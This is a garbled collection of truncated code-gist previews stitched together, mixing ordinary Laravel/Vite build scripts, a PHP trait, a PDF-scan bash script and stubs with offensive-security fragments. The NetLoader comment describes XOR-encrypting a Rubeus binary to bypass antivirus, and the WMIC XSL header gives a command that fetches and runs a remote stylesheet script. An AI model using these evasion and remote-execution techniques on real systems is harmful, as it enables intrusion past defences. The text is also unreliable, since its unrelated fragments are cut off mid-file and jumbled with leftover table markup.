package.json
:
{
"scripts": {
"dev": "vite",
"dev:server": "node public/build/server/server.js",
"build": "vite build",
"build:server": "vite build --outDir ./public/build/server --ssr ./resources/scripts/inertia/server.ts"
}
}
<?php | |
namespace App\Models\Support; | |
use App\Models\Tenant; | |
use Illuminate\Database\Eloquent\Relations\BelongsToMany; | |
use Spatie\Permission\Traits\HasRoles as SpatieHasRoles; | |
trait HasRoles | |
{ |
{ | |
"scripts": { | |
"dev": "npx esno server.ts", | |
"build": "vite build", | |
"build:ssr": "vite build --ssr", | |
"build:all": "npm run build && npm run build:ssr" | |
} | |
} |
package.json
:
{
"scripts": {
"dev": "vite",
"dev:server": "node public/build/server/server.js",
"build": "vite build",
"build:server": "vite build --outDir ./public/build/server --ssr ./resources/scripts/inertia/server.ts"
}
}
/* | |
Author: Arno0x0x, Twitter: @Arno0x0x | |
Completely based on @Flangvik netloader | |
This partial rewrite of @Flangvik Netloader includes the following changes: | |
- Allow loading of an XOR encrypted binary to bypass antiviruses | |
To encrypt the initial binary you can use my Python transformFile.py script. | |
Example: ./transformFile.py -e xor -k mightyduck -i Rubeus.bin -o Rubeus.xor | |
#!/bin/bash | |
# Make a PDF look scanned. | |
# Extracted from https://github.com/baicunko/scanyourpdf and modified for smaller output files (compression lower density). | |
INPUT_FILE=$1 | |
/usr/local/bin/convert -density '80' ${INPUT_FILE} -colorspace 'gray' -linear-stretch '3.5%x10%' \ | |
-blur '0x0.5' -attenuate '0.25' +noise Gaussian -rotate 0.5 \ | |
-compress lzw -quality 50 scanned_${INPUT_FILE} |
########################################################## | |
### ### | |
### The build stage that compiles the exe file ### | |
### ### | |
########################################################## | |
FROM ubuntu:18.04 as build_stage | |
# Install wget | |
RUN apt-get update |
import cv2 | |
import pytesseract | |
import urllib | |
import numpy as np | |
import re | |
# Installs: https://www.learnopencv.com/deep-learning-based-text-recognition-ocr-using-tesseract-and-opencv/ | |
if __name__ == '__main__': | |
/* | |
================================ Compile as a .Net DLL ============================== | |
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs | |
*/ | |
using System.Windows.Forms; | |
namespace TestNamespace |
<?php | |
use Illuminate\Support\Facades\DB; | |
use Illuminate\Support\Facades\Schema; | |
use Illuminate\Database\Schema\Blueprint; | |
use Illuminate\Database\Migrations\Migration; | |
class PermissionUpdateV1ToV2 extends Migration | |
{ | |
/** | |
* Run the migrations. | |
* |
<?xml version='1.0'?> | |
<!-- Discovered by @SubTee and @mattifestation --> | |
<!-- Execute with: wmic os get /format:"https://webserver/wmic.xsl" --> | |
<stylesheet | |
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" | |
xmlns:user="placeholder" | |
version="1.0"> | |
<output method="text"/> | |
<ms:script implements-prefix="user" language="JScript"> | |
<![CDATA[ |